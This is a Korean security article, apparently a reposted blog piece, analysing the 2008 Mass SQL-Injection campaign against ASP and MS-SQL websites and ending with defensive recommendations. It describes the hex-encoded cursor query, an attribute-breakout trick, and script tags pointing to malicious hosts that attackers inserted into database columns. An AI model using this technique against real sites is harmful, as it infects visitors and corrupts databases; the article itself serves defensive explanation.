2008년 4월 초부터 전 세계 130만개 이상의 웹 사이트에 악성코드를 유포하는 SQL-Injection공격 코드가 숨어있는 것이 밝혀져 최근 가장 큰 이슈가 되고 있다. 하지만 언론으로부터 알려진 것은 4월이지만 보안전문가들 사이에서 이슈가 된 것은 2008년 1월 초부터이다. 처음 알려진 것은 아파치 보안 모듈인 Mod Security 프로젝트의 블로그에 공개되면서부터인데 우리나라의 많은 사이트들이 지금 현재도 공격을 받고 있는 중이다.

 

공격 기법의 명칭은 Mass SQL-Injection이라 불리우며 기존의 SQL-Injection 기법보다 확장된 개념이다. 크게 2가지 방식으로 공격이 되며 공격 쿼리의 일부분을 HEX인코딩하거나 전체 쿼리를 HEX 인코딩하여 보안장비와 필터링 설정을 우회하는 기법이다.

Mass라는 단어의 사전적인 의미는 대량의, 집단이라는 뜻을 가지고 있다. 즉, 한 번의 공격으로 대량의 DB값이 변조가 되어 해당 웹 사이트에 치명적인 악영향을 준다. DB값 변조 시 악성 스크립트를 삽입하여 이용자들이 감염되거나 봇이 설치되어 DDoS공격에 좀비컴퓨터로 이용이 가능해진다.

이러한 Mass SQL-Injection은 IIS 환경의 MS-SQL을 사용 중인 ASP 기반 웹 애플리케이션에만 발생하며 언론에서 몇 차례 피해 사실을 보도하기도 했다. 피해를 당한 IIS의 로그를 보면 다음과 같은 로그가 기록되어 있다.

 

     


공격 코드의 중간 중간 00을 제거하고 ASCII 코드로 디코딩을 해보면 ;

 

    

 

다음과 같은 SQL 쿼리가 나타난다. 이 구문은 테이블에서 테이블의 SQL sysobject type U(User) 모든 row를 가져오는 것이다. 모든 컬럼을 varcher(8000)으로 형식을 바꾸고 커서를 활용하여 각 오브젝트에 http://bannerupd.com/b.js 사이트 주소 코드를 추가하도록 업데이트 명령을 실행 시키는 일반적인 구문이다. 일반적인 구문에서 현재는 약간 변형된 형태의 공격쿼리 삽입시도도 이루어지고 있다.


       

 

스크립트 삽입 부분에서 일반적인 삽입형태와 달라진 부분은 "></tile>이 추가 된다.

기존 <스크립트 ....></스크립트>와 다른 점은 ">추가 만으로 <input name="test" value=" ">과 같은 곳에 test의 값으로 삽입 될때 기존 스크립트는 단지value 값으로 스크립트가 실행이 되지 않지만 ">의 추가로 value 값이 정상적으로 닫히고 스크립트가 삽입되게 된다.

물론 그 밖의 경우에도 "></title>부분은 무시되고 스크립트가 삽입되게 된다. 단순히 js 파일명을 바꿔가면서 웹셀 업로드 하는 것과는 다르게 모든 삽입되는 곳에서  스크립트가 실행 가능하도록 하게 만든 패턴이다. DB 테이블 중에서 TEXT 형태로 된 컬럼을 찾아서 <스크립트 src=http://s.see9.us/s.js></스크립트>를 추가한다. varchar 형태의 컬럼에는 <스크립트 src=http://s.see9.s.js></스크립트>이 추가되며 문제는 모든 테이블의 컬럼에 적용이 된다는 것이다.

 

이에 해당하는 공격을 사전에 방지하기 위해서는 아래와 같은 대책이 필요하다.

1. 디클리어 구문을 이용한 공격을 차단하기 위해서는 웹 소스상에서 쿼리스트링에 대한 길이제한 적용을 해야 한다. 대부분 소스 작성시 쿼리스트링 값의 제한을 적용하지 않는 경우가 많음. 따라서 웹 개발자와 상의하여 쿼리스트링 길이 값에 대한 제한을 적용 권고

2. SQL-Injection 취약점이 있으면 중·장기 대책으로 이에 대한 소스코드에 수정 권고

3. 입력되는 부분의 문자를 모두 제한하여 예상되는 문자 이외의 문자가 들어오면 필터링하는 방법으로 수정 필요

4. 정기적인 DB 및 시스템 백업 필요


또한 디클리어 구문을 이용한 공격을 차단하기 위해서는 웹 소스상에서 쿼리스트링에 대한 길이 제한 적용을 해야 한다. 대부분 소스 작성시 쿼리스트링 값의 제한을 적용하지 않는 경우가 많다. 따라서 웹 개발자와 상의하여 쿼리스트링 길이 값에 대한 제한을 적용해야 한다.

Reference-http://cafe.naver.com/securityplus.cafe funkyfor님의 mass SQL-Injection

<글· 박종성 NSHC 연구원(jspark@nshc.net)>

+ Recent posts